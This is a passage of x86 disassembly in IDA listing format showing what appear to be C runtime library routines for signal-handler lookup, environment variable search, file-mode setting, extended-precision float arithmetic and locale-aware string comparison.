; ---------------------------------------------------------------------------


loc_42592D:				; CODE XREF: sub_4256C2+239j
					; sub_4256C2+275j
		cmp	eax, ecx
		jb	short loc_42593D
		cmp	byte ptr [eax],	30h
		jnz	short loc_425939
		dec	eax
		jmp	short loc_42592D
; ---------------------------------------------------------------------------


loc_425939:				; CODE XREF: sub_4256C2+272j
		cmp	eax, ecx
		jnb	short loc_425916


loc_42593D:				; CODE XREF: sub_4256C2+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_42594C:				; CODE XREF: sub_4256C2+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425928
sub_4256C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425955	proc near		; CODE XREF: sub_42255C+226Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4259BC
		dec	eax
		dec	eax
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259AD
		sub	eax, 3
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259A0
		sub	eax, 6
		jz	short loc_425993
		dec	eax
		jz	short loc_425986
		or	eax, 0FFFFFFFFh
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_425986:				; CODE XREF: sub_425955+27j
		mov	esi, dword_4DB57C
		mov	eax, offset dword_4DB57C
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_425993:				; CODE XREF: sub_425955+24j
		mov	esi, dword_4DB578
		mov	eax, offset dword_4DB578
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259A0:				; CODE XREF: sub_425955+1Fj
		mov	esi, dword_4DB580
		mov	eax, offset dword_4DB580
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259AD:				; CODE XREF: sub_425955+10j
					; sub_425955+15j ...
		push	edi
		call	sub_425A82
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259BC:				; CODE XREF: sub_425955+Cj
		mov	esi, dword_4DB574
		mov	eax, offset dword_4DB574


loc_4259C7:				; CODE XREF: sub_425955+3Cj
					; sub_425955+49j ...
		cmp	esi, 1
		jnz	short loc_4259D3
		xor	eax, eax
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_4259D3:				; CODE XREF: sub_425955+75j
		test	esi, esi
		jnz	short loc_4259DE
		push	3
		call	sub_41B7C2


loc_4259DE:				; CODE XREF: sub_425955+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4259F0
		cmp	edi, 0Bh
		jz	short loc_4259F0
		cmp	edi, 4
		jnz	short loc_425A16


loc_4259F0:				; CODE XREF: sub_425955+8Fj
					; sub_425955+94j
		mov	ebx, dword_4DB350
		and	dword_4DB350, 0
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	edx, dword_43C94C
		mov	dword_43C94C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425A19
; ---------------------------------------------------------------------------


loc_425A16:				; CODE XREF: sub_425955+99j
		mov	ebx, [ebp+arg_0]


loc_425A19:				; CODE XREF: sub_425955+BFj
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	eax, dword_43C940
		mov	ecx, dword_43C944
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425A4C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43C8D0h[edx*4]


loc_425A3A:				; CODE XREF: sub_425955+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425A3A
		jmp	short loc_425A4C
; ---------------------------------------------------------------------------


loc_425A45:				; CODE XREF: sub_425955+AAj
					; sub_425955+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425A5A


loc_425A4C:				; CODE XREF: sub_425955+D7j
					; sub_425955+EEj
		push	dword_43C94C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425A68
; ---------------------------------------------------------------------------


loc_425A5A:				; CODE XREF: sub_425955+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425A68
		cmp	edi, 4
		jnz	short loc_425A7B


loc_425A68:				; CODE XREF: sub_425955+103j
					; sub_425955+10Cj
		cmp	edi, 8
		mov	dword_4DB350, ebx
		jnz	short loc_425A7B
		mov	eax, [ebp+arg_0]
		mov	dword_43C94C, eax


loc_425A7B:				; CODE XREF: sub_425955+111j
					; sub_425955+11Cj
		xor	eax, eax
		pop	ebx


loc_425A7E:				; CODE XREF: sub_425955+2Cj
					; sub_425955+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425955	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425A82	proc near		; CODE XREF: sub_425955+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43C948
		cmp	dword_43C8CC, edx
		push	esi
		mov	eax, offset dword_43C8C8
		jz	short loc_425AB0
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43C8C8h[esi*4]


loc_425AA4:				; CODE XREF: sub_425A82+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425AB0
		cmp	[eax+4], edx
		jnz	short loc_425AA4


loc_425AB0:				; CODE XREF: sub_425A82+16j
					; sub_425A82+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43C8C8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425AC4
		cmp	[eax+4], edx
		jz	short locret_425AC6


loc_425AC4:				; CODE XREF: sub_425A82+3Bj
		xor	eax, eax

locret_425AC6:				; CODE XREF: sub_425A82+40j
		retn
sub_425A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_425AC7	proc near		; CODE XREF: sub_4247EC+23p

arg_0		= dword	ptr  4

		cmp	dword_4DC910, 0
		push	ebx
		push	esi
		mov	esi, dword_4DB2A0
		push	edi
		jz	short loc_425B3E
		test	esi, esi
		jnz	short loc_425AF8
		cmp	dword_4DB2A8, esi
		jz	short loc_425B3E
		call	sub_425E95
		test	eax, eax
		jnz	short loc_425B3E
		mov	esi, dword_4DB2A0
		test	esi, esi
		jz	short loc_425B3E


loc_425AF8:				; CODE XREF: sub_425AC7+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_425B3E
		push	ebx
		call	sub_41AFE0
		pop	ecx
		mov	edi, eax


loc_425B09:				; CODE XREF: sub_425AC7+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_425B3E
		push	eax
		call	sub_41AFE0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_425B31
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_425B31
		push	edi
		push	ebx
		push	eax
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425B36


loc_425B31:				; CODE XREF: sub_425AC7+51j
					; sub_425AC7+59j
		add	esi, 4
		jmp	short loc_425B09
; ---------------------------------------------------------------------------


loc_425B36:				; CODE XREF: sub_425AC7+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_425B40
; ---------------------------------------------------------------------------


loc_425B3E:				; CODE XREF: sub_425AC7+10j
					; sub_425AC7+1Cj ...
		xor	eax, eax


loc_425B40:				; CODE XREF: sub_425AC7+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_425AC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_425B44	proc near		; CODE XREF: sub_424F0A+8Bp
					; sub_424F0A+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DC6C0
		jnb	short loc_425BAB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC5C0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425BAB
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425B84
		and	cl, 7Fh
		jmp	short loc_425B91
; ---------------------------------------------------------------------------


loc_425B84:				; CODE XREF: sub_425B44+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425B9F
		or	cl, 80h


loc_425B91:				; CODE XREF: sub_425B44+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425B9F:				; CODE XREF: sub_425B44+48j
		mov	dword_4DB278, 16h
		jmp	short loc_425BB5
; ---------------------------------------------------------------------------


loc_425BAB:				; CODE XREF: sub_425B44+Bj
					; sub_425B44+27j
		mov	dword_4DB278, 9


loc_425BB5:				; CODE XREF: sub_425B44+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425BBA	proc near		; CODE XREF: sub_4256C2+165p
					; sub_425DDA+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425DBA
		cmp	cx, 7FFFh
		jnb	loc_425DBA
		cmp	dx, 0BFFDh
		ja	loc_425DBA
		cmp	dx, 3FBFh
		ja	short loc_425C23
		xor	eax, eax
		jmp	short loc_425C5D
; ---------------------------------------------------------------------------


loc_425C23:				; CODE XREF: sub_425BBA+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425C45
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425C45
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425C47
		cmp	[esi], eax
		jnz	short loc_425C47
		jmp	loc_425DB4
; ---------------------------------------------------------------------------


loc_425C45:				; CODE XREF: sub_425BBA+71j
					; sub_425BBA+79j
		xor	eax, eax


loc_425C47:				; CODE XREF: sub_425BBA+80j
					; sub_425BBA+84j
		cmp	cx, ax
		jnz	short loc_425C6A
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425C6A
		cmp	[ebx+4], eax
		jnz	short loc_425C6A
		cmp	[ebx], eax
		jnz	short loc_425C6A


loc_425C5D:				; CODE XREF: sub_425BBA+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425DD5
; ---------------------------------------------------------------------------


loc_425C6A:				; CODE XREF: sub_425BBA+90j
					; sub_425BBA+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425C7A:				; CODE XREF: sub_425BBA+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425CCE
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425C96:				; CODE XREF: sub_425BBA+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425CC1
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425CC1:				; CODE XREF: sub_425BBA+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425C96


loc_425CCE:				; CODE XREF: sub_425BBA+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425C7A
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425D11


loc_425CEC:				; CODE XREF: sub_425BBA+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425D0A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250CF
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425CEC


loc_425D0A:				; CODE XREF: sub_425BBA+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425D4A


loc_425D11:				; CODE XREF: sub_425BBA+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425D4A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425D2A:				; CODE XREF: sub_425BBA+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425D33
		inc	[ebp+var_14]


loc_425D33:				; CODE XREF: sub_425BBA+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250FD
		dec	ebx
		pop	ecx
		jnz	short loc_425D2A
		cmp	[ebp+var_14], 0
		jz	short loc_425D4A
		or	byte ptr [ebp+var_24], 1


loc_425D4A:				; CODE XREF: sub_425BBA+155j
					; sub_425BBA+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425D61
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425D96


loc_425D61:				; CODE XREF: sub_425BBA+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425D93
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425D8E
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425D88
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D88:				; CODE XREF: sub_425BBA+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D8E:				; CODE XREF: sub_425BBA+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D93:				; CODE XREF: sub_425BBA+1ABj
		inc	[ebp+var_24+2]


loc_425D96:				; CODE XREF: sub_425BBA+1A5j
					; sub_425BBA+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425DBA
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425DB4:				; CODE XREF: sub_425BBA+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425DD5
; ---------------------------------------------------------------------------


loc_425DBA:				; CODE XREF: sub_425BBA+42j
					; sub_425BBA+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_425DD5:				; CODE XREF: sub_425BBA+ABj
					; sub_425BBA+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DDA	proc near		; CODE XREF: sub_4251F1+440p
					; sub_4256C2+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43CDC8
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		jge	short loc_425E02
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43CF28
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_425E02:				; CODE XREF: sub_425DDA+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425E0D
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_425E0D:				; CODE XREF: sub_425DDA+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		push	esi
		push	edi


loc_425E14:				; CODE XREF: sub_425DDA+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425E4C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425E3F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_425E3F:				; CODE XREF: sub_425DDA+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425BBA
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_425E4C:				; CODE XREF: sub_425DDA+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425E14
		pop	edi
		pop	esi


loc_425E53:				; CODE XREF: sub_425DDA+14j
					; sub_425DDA+36j
		pop	ebx
		leave
		retn
sub_425DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E56	proc near		; CODE XREF: sub_425AC7+5Ep
					; sub_426332+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425E63
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E63:				; CODE XREF: sub_425E56+7j
		push	dword_4DC6C4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4DC8E4
		call	sub_425F03
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425E90
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E90:				; CODE XREF: sub_425E56+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425E56	endp


; =============== S U B	R O U T	I N E =======================================



sub_425E95	proc near		; CODE XREF: sub_425AC7+1Ep
					; sub_4261AB+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4DB2A8
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425EF6
		mov	ebx, dword_42717C


loc_425EAE:				; CODE XREF: sub_425E95+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425EFE
		push	ebp
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425EFE
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_425EFE
		push	edi
		push	[esp+18h+var_4]
		call	sub_4261AB
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425EAE


loc_425EF6:				; CODE XREF: sub_425E95+11j
		xor	eax, eax


loc_425EF8:				; CODE XREF: sub_425E95+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_425EFE:				; CODE XREF: sub_425E95+29j
					; sub_425E95+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425EF8
sub_425E95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F03	proc near		; CODE XREF: sub_425E56+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CF0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4DB588, ebx
		push	1
		pop	edi
		jnz	short loc_425F76
		push	edi
		mov	eax, offset dword_427940
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25E0000h
		test	eax, eax
		jz	short loc_425F53
		mov	dword_4DB588, edi
		jmp	short loc_425F76
; ---------------------------------------------------------------------------


loc_425F53:				; CODE XREF: sub_425F03+46j
		push	edi
		mov	eax, offset dword_4CAE2C
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25E06C7h
		test	eax, eax
		jz	loc_42616C
		mov	dword_4DB588, 2


loc_425F76:				; CODE XREF: sub_425F03+31j
					; sub_425F03+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425F8D
		push	esi
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_425F8D:				; CODE XREF: sub_425F03+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425FA2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_425FA2:				; CODE XREF: sub_425F03+8Dj
		mov	eax, dword_4DB588
		cmp	eax, 2
		jnz	short loc_425FC7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25E06C7h
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FC7:				; CODE XREF: sub_425F03+A7j
		cmp	eax, edi
		jnz	loc_42616C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425FDC
		mov	eax, dword_4DB344
		mov	[ebp+arg_18], eax


loc_425FDC:				; CODE XREF: sub_425F03+CFj
		cmp	esi, ebx
		jz	short loc_425FE9
		cmp	[ebp+arg_14], ebx
		jnz	loc_426081


loc_425FE9:				; CODE XREF: sub_425F03+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425FF6


loc_425FEE:				; CODE XREF: sub_425F03+13Cj
					; sub_425F03+16Dj
		push	2


loc_425FF0:				; CODE XREF: sub_425F03+146j
		pop	eax
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FF6:				; CODE XREF: sub_425F03+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_426002


loc_425FFB:				; CODE XREF: sub_425F03+151j
					; sub_425F03+159j ...
		mov	eax, edi
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_426002:				; CODE XREF: sub_425F03+F6j
		cmp	esi, edi
		jg	short loc_426047
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 28B0000h
		test	eax, eax
		jz	loc_42616C
		cmp	esi, ebx
		jle	short loc_42604B
		cmp	[ebp+var_3C], 2
		jb	short loc_426047
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_426047


loc_42602D:				; CODE XREF: sub_425F03+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_426047
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426041
		cmp	cl, dl
		jbe	short loc_425FEE


loc_426041:				; CODE XREF: sub_425F03+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42602D


loc_426047:				; CODE XREF: sub_425F03+101j
					; sub_425F03+120j ...
		push	3
		jmp	short loc_425FF0
; ---------------------------------------------------------------------------


loc_42604B:				; CODE XREF: sub_425F03+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_426081
		cmp	[ebp+var_3C], 2
		jb	short loc_425FFB
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425FFB


loc_42605E:				; CODE XREF: sub_425F03+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425FFB
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426076
		cmp	cl, dl
		jbe	loc_425FEE


loc_426076:				; CODE XREF: sub_425F03+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42605E
		jmp	loc_425FFB
; ---------------------------------------------------------------------------


loc_426081:				; CODE XREF: sub_425F03+E0j
					; sub_425F03+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	near ptr 2820000h
		nop
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_42616C
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4260D0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_4260D0:				; CODE XREF: sub_425F03+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_42616C
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_427180
		call	esi
		test	eax, eax
		jz	short loc_42616C
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_42616C
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42613B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_42613B:				; CODE XREF: sub_425F03+224j
		cmp	edi, ebx
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2820000h
		test	eax, eax
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 25E0000h
		nop
		jmp	short loc_42616E
; ---------------------------------------------------------------------------


loc_42616C:				; CODE XREF: sub_425F03+63j
					; sub_425F03+C6j ...
		xor	eax, eax


loc_42616E:				; CODE XREF: sub_425F03+BFj
					; sub_425F03+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_426180	proc near		; CODE XREF: sub_422ACA+81p
					; sub_425F03+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42619D


loc_426190:				; CODE XREF: sub_426180+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_42619D
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_426190


loc_42619D:				; CODE XREF: sub_426180+Ej
					; sub_426180+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4261A8
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4261A8:				; CODE XREF: sub_426180+21j
		mov	eax, edx
